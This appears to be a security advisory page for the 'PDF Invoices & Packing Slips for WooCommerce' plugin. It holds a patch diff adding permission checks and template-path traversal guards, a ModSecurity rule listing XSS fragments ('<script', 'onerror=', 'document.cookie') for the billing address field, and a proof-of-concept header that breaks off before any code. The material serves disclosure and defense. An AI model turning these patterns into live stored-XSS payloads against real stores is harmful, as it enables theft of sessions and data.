 			$line_taxes = $line_tax_data[ $tax_data_key ];
 			foreach ( $line_taxes as $tax_id => $tax ) {
 				if ( isset( $tax ) && '' !== $tax ) {
-					$tax_rate = $this->get_tax_rate_by_id( $tax_id, $order );
+					$tax_rate = is_numeric( $tax_id ) ? $this->get_tax_rate_by_id( (int) $tax_id, $order ) : false;
 					if ( $tax_rate !== false && $force_calculation === false ) {
 						$tax_rates[] = $tax_rate . ' %';
 					} else {
@@ -1677,7 +1677,7 @@
 	 * @return void
 	 */
 	public function invoice_number_title(): void {
-		echo esc_html( $this->get_invoice_number_title() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_invoice_number_title(), 'title' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
@@ -1703,7 +1703,7 @@
 	 * @return void
 	 */
 	public function refund_reason_title(): void {
-		echo esc_html( $this->get_refund_reason_title() );
+		echo wpo_wcpdf_sanitize_html_content( $this->get_refund_reason_title(), 'title' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- sanitized by wpo_wcpdf_sanitize_html_content()
 	}

 	/**
--- a/woocommerce-pdf-invoices-packing-slips/includes/Frontend.php
+++ b/woocommerce-pdf-invoices-packing-slips/includes/Frontend.php
@@ -35,10 +35,7 @@
 		add_filter( 'woocommerce_rest_prepare_shop_order_object', array( $this, 'add_invoice_number_to_wc_order_api' ), 10, 3 );

 		// Order actions.
-		if ( wpo_ips_is_account_page() || wpo_ips_is_order_received_page() ) {
-			add_filter( 'woocommerce_my_account_my_orders_actions', array( $this, 'my_account_invoice_actions' ), 999, 2 );
-			add_action( 'wp_enqueue_scripts', array( $this, 'open_my_account_link_on_new_tab' ), 999 );
-		}
+		$this->register_order_action_hooks();

 		// Optional Checkout field (General Settings).
 		if ( WPO_WCPDF()->get_instance( 'checkout_field' )->is_enabled() ) {
@@ -76,6 +73,24 @@
 		}
 	}

+	/**
+	 * Register the My Account order action hooks.
+	 *
+	 * Called from the constructor and again on 'wp' (see WPO_WCPDF::includes()),
+	 * because on a custom page rendering the account UI via shortcode or block,
+	 * wpo_ips_is_account_page() can only match after the main query has run.
+	 * Re-adding the same callbacks is harmless: WordPress dedupes identical
+	 * callback/priority pairs.
+	 *
+	 * @return void
+	 */
+	public function register_order_action_hooks(): void {
+		if ( wpo_ips_is_account_page() || wpo_ips_is_order_received_page() ) {
+			add_filter( 'woocommerce_my_account_my_orders_actions', array( $this, 'my_account_invoice_actions' ), 999, 2 );
+			add_action( 'wp_enqueue_scripts', array( $this, 'open_my_account_link_on_new_tab' ), 999 );
+		}
+	}
+
 	/**
 	 * Display My Account invoice actions.
 	 *
--- a/woocommerce-pdf-invoices-packing-slips/includes/Main.php
+++ b/woocommerce-pdf-invoices-packing-slips/includes/Main.php
@@ -46,7 +46,6 @@
 		$this->register_document_link_email_hooks();

 		// WP
-		add_filter( 'wp_mail', array( $this, 'set_phpmailer_validator'), 10, 1 );
 		add_action( 'wp_scheduled_delete', array( $this, 'schedule_temporary_files_cleanup' ) );

 		// Woo
@@ -55,6 +54,9 @@
 		add_filter( 'woocommerce_webhook_topic_hooks', array( $this, 'wc_webhook_topic_hooks' ), 10, 2 );
 		add_filter( 'woocommerce_valid_webhook_events', array( $this, 'wc_webhook_topic_events' ) );
 		add_filter( 'woocommerce_webhook_topics', array( $this, 'wc_webhook_topics' ) );
+		add_filter( 'woocommerce_rest_prepare_report_orders', array( $this, 'add_invoice_number_to_order_report' ) );
+		add_filter( 'woocommerce_report_orders_export_columns', array( $this, 'add_invoice_number_header_to_order_export' ) );
+		add_filter( 'woocommerce_report_orders_prepare_export_item', array( $this, 'add_invoice_number_value_to_order_export' ), 10, 2 );
 		add_action( 'woocommerce_privacy_remove_order_personal_data', array( $this, 'remove_order_personal_data' ), 10, 1 );
 		add_action( 'woocommerce_privacy_export_order_personal_data_meta', array( $this, 'export_order_personal_data_meta' ), 10, 1 );

@@ -90,15 +92,15 @@
 	/**
 	 * Attach document to WooCommerce email
 	 *
-	 * @param array           $attachments
-	 * @param string          $email_id
+	 * @param mixed           $attachments Passed through unchanged when not an array.
+	 * @param mixed           $email_id
 	 * @param mixed           $order
 	 * @param mixed|WC_Email $email
-	 * @return array
+	 * @return mixed
 	 */
-	public function attach_document_to_email( array $attachments, string $email_id, mixed $order, $email = null ): array {
+	public function attach_document_to_email( $attachments, $email_id, mixed $order, $email = null ) {
 		// check if all variables properly set
-		if ( ! is_object( $order ) || ! isset( $email_id ) ) {
+		if ( ! is_object( $order ) || ! isset( $email_id ) || ! is_array( $attachments ) || ! is_string( $email_id ) ) {
 			return $attachments;
 		}

@@ -487,15 +489,23 @@
 			$order_id = reset( $order_ids );
 			$order    = wc_get_order( $order_id );

-			if ( $order && $order->get_status() == 'auto-draft' ) {
-				$message = esc_attr__( 'You have to save the order before generating a PDF document for it.', 'woocommerce-pdf-invoices-packing-slips' );
-				wcpdf_safe_redirect_or_die( null, $message );
-			} elseif ( ! $order ) {
-				$message = sprintf(
-					/* translators: %s: Order ID */
-					esc_attr__( 'Could not find the order #%s.', 'woocommerce-pdf-invoices-packing-slips' ),
-					$order_id
-				);
+			if ( ! $order || 'auto-draft' === $order->get_status() ) {
+				// Same response as a failed credential check, so a missing or unsaved order is not revealed.
+				if ( ! Admin::user_can_manage_document( $document_type ) ) {
+					$message = esc_attr__( 'You do not have sufficient permissions to access this page.', 'woocommerce-pdf-invoices-packing-slips' );
+					wcpdf_safe_redirect_or_die( $redirect_url, $message );
+				}
+
+				if ( ! $order ) {
+					$message = sprintf(
+						/* translators: %s: Order ID */
+						esc_attr__( 'Could not find the order #%s.', 'woocommerce-pdf-invoices-packing-slips' ),
+						$order_id
+					);
+				} else {
+					$message = esc_attr__( 'You have to save the order before generating a PDF document for it.', 'woocommerce-pdf-invoices-packing-slips' );
+				}
+
 				wcpdf_safe_redirect_or_die( null, $message );
 			}
 		}
@@ -580,6 +590,22 @@
 			wcpdf_safe_redirect_or_die( $redirect_url, $message );
 		}

+		// Refund objects only support specific document types (e.g. credit notes).
+		if ( $order instanceof WC_Order_Refund ) {
+			/**
+			 * Filters the document types that may be generated for a refund object.
+			 *
+			 * @param string[]         $allowed_document_types Document types allowed on refund objects.
+			 * @param WC_Order_Refund $order                  The refund object.
+			 */
+			$allowed_document_types = apply_filters( 'wpo_ips_refund_allowed_document_types', array( 'credit-note' ), $order );
+
+			if ( ! in_array( $document_type, $allowed_document_types, true ) ) {
+				$message = esc_attr__( 'You do not have sufficient permissions to access this page.', 'woocommerce-pdf-invoices-packing-slips' );
+				wcpdf_safe_redirect_or_die( $redirect_url, $message );
+			}
+		}
+
 		// if we got here, we're safe to go!
 		try {
 			if ( isset( $request['bulk'] ) ) {
@@ -1686,33 +1712,6 @@
 	}

 	/**
-	 * Set the default PHPMailer validator to 'php' ( which uses filter_var($address, FILTER_VALIDATE_EMAIL) )
-	 * This avoids issues with the presence of attachments affecting email address validation in some distros of PHP 7.3
-	 * See: https://wordpress.org/support/topic/invalid-address-setfrom/#post-11583815
-	 * Fixed in WP5.5 due to upgrade to newer PHPMailer
-	 *
-	 * @param array $mailArray The array of mail data being passed to PHPMailer
-	 * @return array The unmodified mail array, after setting the PHPMailer validator
-	 */
-	public function set_phpmailer_validator( array $mailArray ): array {
-		if ( version_compare( get_bloginfo( 'version' ), '5.5-dev', '>=' ) ) {
-			return $mailArray;
-		}
-
-		global $phpmailer;
-
-		if ( ! $phpmailer instanceof PHPMailer ) {
-			require_once ABSPATH . WPINC . '/class-phpmailer.php';
-			require_once ABSPATH . WPINC . '/class-smtp.php';
-			$phpmailer = new PHPMailer( true );
-		}
-
-		$phpmailer::$validator = 'php';
-
-		return $mailArray;
-	}
-
-	/**
 	 * Log document creation to order notes
 	 *
 	 * @param OrderDocument $document
@@ -2182,6 +2181,50 @@
 	}

 	/**
+	 * Add invoice number to the order report response.
+	 *
+	 * @param WP_REST_Response $response The REST API response object.
+	 * @return WP_REST_Response Modified REST API response object with invoice number included.
+	 */
+	public function add_invoice_number_to_order_report( WP_REST_Response $response ): WP_REST_Response {
+		if ( is_array( $response->data ) && isset( $response->data['order_id'] ) ) {
+			$order = wc_get_order( absint( $response->data['order_id'] ) );
+			if ( ! empty( $order ) ) {
+				$response->data['invoice_number'] = (string) $order->get_meta( '_wcpdf_invoice_number', true );
+			}
+		}
+
+		return $response;
+	}
+
+	/**
+	 * Add invoice number header to the order export columns.
+	 *
+	 * @param array $export_columns The existing export columns.
+	 * @return array Modified export columns with invoice number header included.
+	 */
+	public function add_invoice_number_header_to_order_export( array $export_columns ): array {
+		$export_columns['invoice_number'] = __( 'Invoice Number', 'woocommerce-pdf-invoices-packing-slips' );
+
+		return $export_columns;
+	}
+
+	/**
+	 * Add invoice number value to the order export data.
+	 *
+	 * @param array $export_item The existing export item data.
+	 * @param array $item The original item data containing the order information.
+	 * @return array Modified export item data with invoice number included.
+	 */
+	public function add_invoice_number_value_to_order_export( array $export_item, array $item ): array {
+		if ( ! empty( $item['invoice_number'] ) ) {
+			$export_item['invoice_number'] = $item['invoice_number'];
+		}
+
+		return $export_item;
+	}
+
+	/**
 	 * Trigger custom webhook when a document is saved.
 	 *
 	 * @param OrderDocument $document
@@ -2406,122 +2449,113 @@
 	}

 	/**
-	 * Handle document link in emails.
-	 *
-	 * @return void
-	 */
-	public function handle_document_link_in_emails(): void {
-		$email_hooks = array();
-		$plugin      = WPO_WCPDF();
-		$documents   = $plugin->get_instance( 'documents' )->get_documents();
-		$settings    = $plugin->get_instance( 'settings' );
-
-		foreach ( $documents as $document ) {
-			$document_settings = $settings->get_document_settings( $document->get_type(), 'pdf' );
-			$email_placement   = $document_settings['include_email_link_placement'] ?? '';
-
-			if ( ! empty( $email_placement ) ) {
-				$email_hooks[] = 'woocommerce_email_' . $email_placement;
-			}
-		}
-
-		$email_hooks = array_unique( apply_filters( 'wpo_wcpdf_add_document_link_to_email_hooks', $email_hooks ) );
-
-		foreach ( $email_hooks as $email_hook ) {
-			if ( 'woocommerce_email_customer_address_section' === $email_hook ) {
-				add_action( $email_hook, array( $this, 'add_document_link_to_address_section' ), 10, 4 );
-			} else {
-				add_action( $email_hook, array( $this, 'add_document_link_to_email' ), 10, 4 );
-			}
-		}
-	}
-
-	/**
 	 * Wrapper for woocommerce_email_customer_address_section hook.
 	 * Since different parameters sent to this hook, we use a wrapper for it.
+	 * Parameters are untyped and have defaults because third parties may fire this hook
+	 * with fewer or unexpected arguments.
 	 *
-	 * @param string $type
-	 * @param WC_Abstract_Order $order
-	 * @param bool $sent_to_admin
-	 * @param bool $plain_text
+	 * @param mixed|string             $type
+	 * @param mixed|WC_Abstract_Order $order
+	 * @param mixed|bool               $sent_to_admin
+	 * @param mixed|bool               $plain_text
 	 * @return void
 	 */
-	public function add_document_link_to_address_section( string $type, WC_Abstract_Order $order, bool $sent_to_admin, bool $plain_text ): void {
+	public function add_document_link_to_address_section( $type = '', $order = null, $sent_to_admin = false, $plain_text = false ): void {
 		// Since this hook doesn’t pass the $email object, we pass null (or create a dummy if needed).
 		$this->add_document_link_to_email( $order, $sent_to_admin, $plain_text, null );
 	}

 	/**
 	 * Add document download link to the email.
+	 * Parameters are untyped because third parties may fire these hooks with unexpected values,
+	 * and any failure is logged instead of aborting the email.
 	 *
-	 * @param WC_Abstract_Order $order
-	 * @param bool $sent_to_admin
-	 * @param bool $plain_text
-	 * @param mixed|WC_Email $email Some third-parties might send different values.
+	 * @param mixed|WC_Abstract_Order $order
+	 * @param mixed|bool               $sent_to_admin
+	 * @param mixed|bool               $plain_text
+	 * @param mixed|WC_Email          $email Some third-parties might send different values or omit this argument.
 	 * @return void
 	 */
-	public function add_document_link_to_email( WC_Abstract_Order $order, bool $sent_to_admin, bool $plain_text, $email ): void {
-		$endpoint_instance = WPO_WCPDF()->get_instance( 'endpoint' );
-
-		// Check if document access type is 'full'.
-		$is_full_access_type = 'full' === $endpoint_instance->get_document_link_access_type();
-
-		// Early exit if the requirements are not met
-		if ( ! apply_filters( 'wpo_wcpdf_add_document_link_to_email_requirements_met', $is_full_access_type, $order, $sent_to_admin, $plain_text, $email ) ) {
+	public function add_document_link_to_email( $order, $sent_to_admin, $plain_text, $email = null ): void {
+		if ( ! $order instanceof WC_Abstract_Order ) {
 			return;
 		}

-		$allowed_document_types = apply_filters( 'wpo_wcpdf_add_document_link_to_email_allowed_document_types', array( 'invoice' ), $order, $sent_to_admin, $plain_text, $email );
-		$documents              = WPO_WCPDF()->get_instance( 'documents' )->get_documents();
+		$sent_to_admin = (bool) $sent_to_admin;
+		$plain_text    = (bool) $plain_text;

-		foreach ( $documents as $document ) {
-			$document_settings = WPO_WCPDF()->get_instance( 'settings' )->get_document_settings( $document->get_type(), 'pdf' );
-			$selected_emails   = $document_settings['include_email_link'] ?? array();
-			$email_placement   = $document_settings['include_email_link_placement'] ?? '';
+		try {
+			$endpoint_instance = WPO_WCPDF()->get_instance( 'endpoint' );

-			// Skip if no email placement is set.
-			if ( empty( $email_placement ) ) {
-				continue;
+			// Check if document access type is 'full'.
+			$is_full_access_type = 'full' === $endpoint_instance->get_document_link_access_type();
+
+			// Early exit if the requirements are not met
+			if ( ! apply_filters( 'wpo_wcpdf_add_document_link_to_email_requirements_met', $is_full_access_type, $order, $sent_to_admin, $plain_text, $email ) ) {
+				return;
 			}

-			$email_id   = ( $email instanceof WC_Email ) ? $email->id : '';
-			$is_allowed =
-				in_array( $document->get_type(), $allowed_document_types, true ) &&
-				in_array( $email_id, $selected_emails, true ) &&
-				( 'woocommerce_email_' . $email_placement ) === current_filter();
+			$allowed_document_types = apply_filters( 'wpo_wcpdf_add_document_link_to_email_allowed_document_types', array( 'invoice' ), $order, $sent_to_admin, $plain_text, $email );
+			$documents              = WPO_WCPDF()->get_instance( 'documents' )->get_documents();
+		} catch ( Throwable $e ) {
+			wcpdf_log_error( sprintf( 'Document links could not be added to the email for order ID# %s: %s', $order->get_id(), $e->getMessage() ), 'critical', $e );
+			return;
+		}

-			if ( ! apply_filters( 'wpo_wcpdf_add_document_link_to_email_is_allowed', $is_allowed, $order, $sent_to_admin, $plain_text, $email ) ) {
-				continue;
-			}
+		foreach ( $documents as $document ) {
+			try {
+				$document_settings = WPO_WCPDF()->get_instance( 'settings' )->get_document_settings( $document->get_type(), 'pdf' );
+				$selected_emails   = $document_settings['include_email_link'] ?? array();
+				$email_placement   = $document_settings['include_email_link_placement'] ?? '';

-			$document = wcpdf_get_document( $document->get_type(), $order );
+				// Skip if no email placement is set.
+				if ( empty( $email_placement ) ) {
+					continue;
+				}

-			if ( ! $document ) {
-				continue;
-			}
+				$email_id   = ( $email instanceof WC_Email ) ? $email->id : '';
+				$is_allowed =
+					in_array( $document->get_type(), $allowed_document_types, true ) &&
+					in_array( $email_id, $selected_emails, true ) &&
+					( 'woocommerce_email_' . $email_placement ) === current_filter();

-			if (
-				! $document->exists() &&
-				apply_filters( 'wpo_wcpdf_add_document_link_to_email_skip_missing_documents', false, $document, $order, $sent_to_admin, $plain_text, $email )
-			) {
-				continue;
-			}
+				if ( ! apply_filters( 'wpo_wcpdf_add_document_link_to_email_is_allowed', $is_allowed, $order, $sent_to_admin, $plain_text, $email ) ) {
+					continue;
+				}

-			$link_text = sprintf(
-				/* translators: %s: Document type */
-				__( 'View %s (PDF)', 'woocommerce-pdf-invoices-packing-slips' ),
-				wp_kses_post( $document->get_type() )
-			);
-			$link_url  = $endpoint_instance->get_document_link( $order, $document->get_type(), array(), true );
+				$document = wcpdf_get_document( $document->get_type(), $order );

-			$document_link = sprintf(
-				'<p><a id="%s" href="%s" target="_blank">%s</a></p>',
-				esc_attr( 'wpo_wcpdf_' . $document->get_type() . '_document_link' ),
-				esc_url( $link_url ),
-				esc_html( $link_text )
-			);
+				if ( ! $document ) {
+					continue;
+				}
+
+				if (
+					! $document->exists() &&
+					apply_filters( 'wpo_wcpdf_add_document_link_to_email_skip_missing_documents', false, $document, $order, $sent_to_admin, $plain_text, $email )
+				) {
+					continue;
+				}

-			echo wp_kses_post( apply_filters( 'wpo_wcpdf_add_document_download_link_to_email', $document_link, $document, $order, $sent_to_admin, $plain_text, $email ) );
+				$link_text = sprintf(
+					/* translators: %s: Document type */
+					__( 'View %s (PDF)', 'woocommerce-pdf-invoices-packing-slips' ),
+					wp_kses_post( $document->get_type() )
+				);
+				$link_url  = $endpoint_instance->get_document_link( $order, $document->get_type(), array(), true );
+
+				$document_link = sprintf(
+					'<p><a id="%s" href="%s" target="_blank">%s</a></p>',
+					esc_attr( 'wpo_wcpdf_' . $document->get_type() . '_document_link' ),
+					esc_url( $link_url ),
+					esc_html( $link_text )
+				);
+
+				echo wp_kses_post( apply_filters( 'wpo_wcpdf_add_document_download_link_to_email', $document_link, $document, $order, $sent_to_admin, $plain_text, $email ) );
+			} catch ( Throwable $e ) {
+				$document_type = is_object( $document ) && is_callable( array( $document, 'get_type' ) ) ? $document->get_type() : 'unknown';
+				wcpdf_log_error( sprintf( 'Document link (%s) could not be added to the email for order ID# %s: %s', $document_type, $order->get_id(), $e->getMessage() ), 'critical', $e );
+				continue;
+			}
 		}
 	}

--- a/woocommerce-pdf-invoices-packing-slips/includes/Notices.php
+++ b/woocommerce-pdf-invoices-packing-slips/includes/Notices.php
@@ -172,8 +172,9 @@
 			return;
 		}

-		$is_settings_page = wpo_ips_is_settings_page();
-		$is_plugins_page  = wpo_ips_is_plugins_page();
+		$is_settings_page    = wpo_ips_is_settings_page();
+		$is_plugins_page     = wpo_ips_is_plugins_page();
+		$can_manage_settings = WPO_WCPDF()->get_instance( 'settings' )->user_can_manage_settings();

 		$notices = array(
 			array( array( $this, 'nginx_detected_notice' ), $is_settings_page ),
@@ -184,9 +185,9 @@
 			array( array( $this, 'install_wizard_notice' ), $is_settings_page ),
 			array( array( $this, 'display_admin_notice_for_shop_address' ), $is_settings_page ),
 			array( array( $this, 'legacy_addon_notices' ), $is_settings_page || $is_plugins_page ),
-			array( array( $this, 'mailpoet_mta_detected_notice' ), true ),
+			array( array( $this, 'mailpoet_mta_detected_notice' ), $can_manage_settings ),
 			array( array( $this, 'rtl_detected_notice' ), true ),
-			array( array( $this, 'no_dir_notice' ), true ),
+			array( array( $this, 'no_dir_notice' ), $can_manage_settings ),
 		);

 		foreach ( $notices as $notice ) {
@@ -231,6 +232,12 @@
 			wp_safe_redirect( $redirect_url );
 			exit;
 		}
+
+		if ( ! WPO_WCPDF()->get_instance( 'settings' )->user_can_manage_settings() ) {
+			wcpdf_log_error( 'Insufficient permissions for action: ' . $query_arg );
+			wp_safe_redirect( $redirect_url );
+			exit;
+		}

 		$callback();

--- a/woocommerce-pdf-invoices-packing-slips/includes/Settings.php
+++ b/woocommerce-pdf-invoices-packing-slips/includes/Settings.php
@@ -18,24 +18,26 @@

 class Settings {

-	public ?SettingsCallbacks $callbacks     = null;
-	public ?SettingsGeneral $general         = null;
-	public ?SettingsDocuments $documents     = null;
-	public ?SettingsDebug $debug             = null;
-	public ?SettingsUpgrade $upgrade         = null;
-	public ?SettingsEDI $edi                 = null;
-
-	public string|false $options_page_hook   = false;
-	public array $general_settings           = array();
-	public array $debug_settings             = array();
-	public array $edi_settings               = array();
-
-	private array $installed_templates       = array();
-	private array $installed_templates_cache = array();
-	private array $template_list_cache       = array();
+	public ?SettingsCallbacks $callbacks       = null;
+	public ?SettingsGeneral $general           = null;
+	public ?SettingsDocuments $documents       = null;
+	public ?SettingsDebug $debug               = null;
+	public ?SettingsUpgrade $upgrade           = null;
+	public ?SettingsEDI $edi                   = null;
+
+	public string|false $options_page_hook     = false;
+	public array $general_settings             = array();
+	public array $debug_settings               = array();
+	public array $edi_settings                 = array();
+
+	private array $installed_templates         = array();
+	private array $installed_templates_cache   = array();
+	private array $template_list_cache         = array();
+	private bool $template_fallback_logged     = false;
+	private ?string $template_validation_error = null;

-	protected bool $settings_loaded          = false;
-	protected static ?self $_instance        = null;
+	protected bool $settings_loaded            = false;
+	protected static ?self $_instance          = null;

 	/**
 	 * Singleton instance accessor.
@@ -354,6 +356,11 @@
 					$form_data = stripslashes_deep( $form_data );

 					foreach ( $form_data as $option_key => $form_settings ) {
+						// Template discovery must not be replaced by submitted preview data.
+						if ( 'wpo_wcpdf_installed_template_paths' === $option_key ) {
+							continue;
+						}
+
 						if ( ! empty( $option_key ) && false === apply_filters( 'wpo_wcpdf_preview_filter_option', 0 === strpos( $option_key, 'wpo_wcpdf' ), $option_key ) ) {
 							continue; // not our business
 						}
@@ -361,6 +368,10 @@
 						// validate option values
 						$form_settings = $this->get_instance( 'callbacks' )->validate( $form_settings );

+						if ( null !== $this->get_template_validation_error() ) {
+							wp_send_json_error( array( 'error' => $this->get_template_validation_error() ) );
+						}
+
 						// filter the options
 						add_filter( "option_{$option_key}", function( $_value, $_option ) use ( $form_settings ) {
 							return $form_settings;
@@ -704,7 +715,7 @@
 	public function get_output_format( ?object $document = null, ?array $request = null ): string {
 		$output_format = 'pdf'; // default

-		if ( isset( $this->get_settings( 'debug' )['html_output'] ) || ( isset( $request['output'] ) && 'html' === $request['output'] ) ) {
+		if ( isset( $this->get_settings( 'debug' )['html_output'] ) || ( isset( $request['output'] ) && 'html' === $request['output'] && $this->user_can_manage_settings() ) ) {
 			$output_format = 'html';
 		} elseif ( isset( $request['output'] ) && ! empty( $request['output'] ) && ! empty( $document ) && in_array( $request['output'], $document->output_formats, true ) ) {
 			$output_format = esc_attr( $request['output'] );
@@ -865,43 +876,121 @@
 	}

 	/**
-	 * Get template path by template name or path.
+	 * Get an installed template path by ID or a recognized legacy path.
 	 *
-	 * @param string $template_path Template name or path.
+	 * @param string $template_path Template ID or legacy path.
 	 * @return string
 	 */
 	public function get_template_path( string $template_path = '' ): string {
-		$selected_template = $template_path
-			? sanitize_text_field( $template_path )
+		$selected_template = '' !== $template_path
+			? $template_path
 			: ( $this->get_settings( 'general' )['template_path'] ?? '' );
+		$template          = $this->find_installed_template( $selected_template, $this->get_installed_templates() );

-		// return default path if no template selected
-		if ( empty( $selected_template ) ) {
-			return wp_normalize_path( WPO_WCPDF()->plugin_path() . '/templates/Simple' );
+		if ( null !== $template ) {
+			return $template['path'];
 		}

-		$installed_templates = $this->get_installed_templates();
+		if ( ! empty( $selected_template ) && ! $this->template_fallback_logged ) {
+			$this->template_fallback_logged = true;
+			wcpdf_log_error( 'The selected PDF template is unavailable or invalid. Using the Simple template for this request.', 'warning' );
+		}

-		if ( in_array( $selected_template, $installed_templates, true ) ) {
-			return array_search( $selected_template, $installed_templates );
-		} else {
-			// unknown template or full template path (filter override)
-			$template_path = wp_normalize_path( $selected_template );
+		return wp_normalize_path( WPO_WCPDF()->plugin_path() . '/templates/Simple' );
+	}

-			// add base path, checking if it's not already there
-			// alternative setups like Bedrock have WP_CONTENT_DIR & ABSPATH separated
-			if ( defined( 'WP_CONTENT_DIR' ) && ! empty( WP_CONTENT_DIR ) && false !== strpos( WP_CONTENT_DIR, ABSPATH ) ) {
-				$base_path = wp_normalize_path( ABSPATH );
-			} else {
-				$base_path = wp_normalize_path( WP_CONTENT_DIR );
+	/**
+	 * Normalize a local template path or ID without accepting wrappers or traversal.
+	 *
+	 * @param mixed $path Template path or ID.
+	 * @return string|null
+	 */
+	private function normalize_template_path( mixed $path ): ?string {
+		if ( ! is_string( $path ) || '' === $path || str_contains( $path, "" ) ) {
+			return null;
+		}
+
+		$path = str_replace( '\', '/', $path );
+
+		if ( str_contains( $path, '://' ) || preg_match( '#(^|/)..(/|$)#', $path ) ) {
+			return null;
+		}
+
+		$path = untrailingslashit( wp_normalize_path( $path ) );
+
+		return '' !== $path ? $path : null;
+	}
+
+	/**
+	 * Match a selection against installed IDs and recognized legacy paths.
+	 *
+	 * @param mixed $selected_template Submitted or stored selection.
+	 * @param array $installed_templates Installed paths mapped to template IDs.
+	 * @return array|null Matched path and ID, or null when unavailable or invalid.
+	 */
+	private function find_installed_template( mixed $selected_template, array $installed_templates ): ?array {
+		$selected_template = $this->normalize_template_path( $selected_template );
+
+		if ( null === $selected_template ) {
+			return null;
+		}
+
+		foreach ( $installed_templates as $path => $template_id ) {
+			$path = $this->normalize_template_path( $path );
+
+			if ( null === $path || ! is_string( $template_id ) || '' === $template_id ) {
+				continue;
 			}

-			if ( ! empty( $template_path ) && false === strpos( $template_path, $base_path ) ) {
-				$template_path = wp_normalize_path( $base_path . $template_path );
+			if (
+				$selected_template === $template_id ||
+				$selected_template === $path ||
+				ltrim( $selected_template, '/' ) === ltrim( $this->get_relative_template_path( $path ), '/' )
+			) {
+				return array(
+					'path' => $path,
+					'id'   => $template_id,
+				);
 			}
 		}

-		return $template_path;
+		return null;
+	}
+
+	/**
+	 * Normalize a template setting to an installed ID, retaining the previous selection on failure.
+	 *
+	 * @param mixed $template_path Submitted template ID or legacy path.
+	 * @return string
+	 */
+	public function validate_template_path( mixed $template_path ): string {
+		$this->template_validation_error = null;
+
+		$template = $this->find_installed_template( $template_path, $this->get_installed_templates( true ) );
+
+		if ( null !== $template ) {
+			return $template['id'];
+		}
+
+		$this->template_validation_error = __( 'The selected PDF template could not be verified. The previous selection has been retained.', 'woocommerce-pdf-invoices-packing-slips' );
+
+		if ( function_exists( 'add_settings_error' ) && empty( get_settings_errors( 'wpo_wcpdf_template_path' ) ) ) {
+			add_settings_error( 'wpo_wcpdf_template_path', 'wpo_wcpdf_invalid_template', $this->template_validation_error, 'warning' );
+		}
+
+		$current_settings  = get_option( 'wpo_wcpdf_settings_general', array() );
+		$previous_template = is_array( $current_settings ) ? ( $current_settings['template_path'] ?? 'default/Simple' ) : 'default/Simple';
+
+		return is_string( $previous_template ) ? $previous_template : 'default/Simple';
+	}
+
+	/**
+	 * Get the latest template validation error for AJAX and wizard feedback.
+	 *
+	 * @return string|null
+	 */
+	public function get_template_validation_error(): ?string {
+		return $this->template_validation_error;
 	}

 	/**
@@ -911,17 +1000,17 @@
 	 * @return array
 	 */
 	public function get_installed_templates( bool $force_reload = false ): array {
+		// Prefer discovery already performed in this request, including a forced refresh.
+		if ( ! $force_reload && ! empty( $this->installed_templates ) ) {
+			return $this->installed_templates;
+		}
+
 		// because this method can be called (too) early we load from a cached list in those cases
 		// this cache is updated each time the template settings are saved/updated
-		if ( ! did_action( 'wpo_wcpdf_init_documents' ) && ( $cached_template_list = $this->get_template_list_cache() ) ) {
+		if ( ! $force_reload && ! did_action( 'wpo_wcpdf_init_documents' ) && ( $cached_template_list = $this->get_template_list_cache() ) ) {
 			return $cached_template_list;
 		}

-		// to save resources on the disk operations we only do this once
-		if ( $force_reload === false && ! empty ( $this->installed_templates ) ) {
-			return $this->installed_templates;
-		}
-
 		$installed_templates = array();
 		// get base paths
 		$template_base_path  = ( function_exists( 'WC' ) && is_callable( array( WC(), 'template_path' ) ) ) ? WC()->template_path() : apply_filters( 'woocommerce_template_path', 'woocommerce/' );
@@ -973,12 +1062,24 @@
 		$template_list        = get_option( 'wpo_wcpdf_installed_template_paths', array() );
 		$file_system_instance = WPO_WCPDF()->get_instance( 'file_system' );

-		if ( ! empty( $template_list ) ) {
+		if ( is_array( $template_list ) && ! empty( $template_list ) ) {
 			$checked_list = array();
 			$outdated     = false;

 			// cache could be outdated, so we check whether the folders exist
 			foreach ( $template_list as $path => $template_id ) {
+				$normalized_path = $this->normalize_template_path( $path );
+
+				if ( null === $normalized_path || ! is_string( $template_id ) || '' === $template_id ) {
+					$outdated = true;
+					continue;
+				}
+
+				if ( $normalized_path !== $path ) {
+					$outdated = true;
+					$path     = $normalized_path;
+				}
+
 			

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-137122
# The vulnerability is a stored XSS via billing_address_1 in WooCommerce checkout.
# The exploit is triggered by submitting a checkout form with malicious JavaScript.
# We target the checkout submission endpoint and inspect the billing_address_1 parameter.
# The rule blocks requests containing typical XSS patterns in that field.
# This is narrowly scoped to the checkout endpoint and the specific parameter.

SecRule REQUEST_URI "@rx ^/(?wc-ajax=checkout|checkout/)" 
  "id:2026137122,phase:2,deny,status:403,chain,msg:'CVE-2026-137122 via WooCommerce checkout billing_address_1',severity:'CRITICAL',tag:'CVE-2026-137122'"
  SecRule ARGS_POST:billing_address_1 "@rx <script|alert(|javascript:|onerror=|onload=|eval(|document.cookie" 
    "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-137122 - PDF Invoices & Packing Slips for WooCommerce <= 6.0.0 - Unauthenticated Stored Cross-Site Scripting via Billing Address

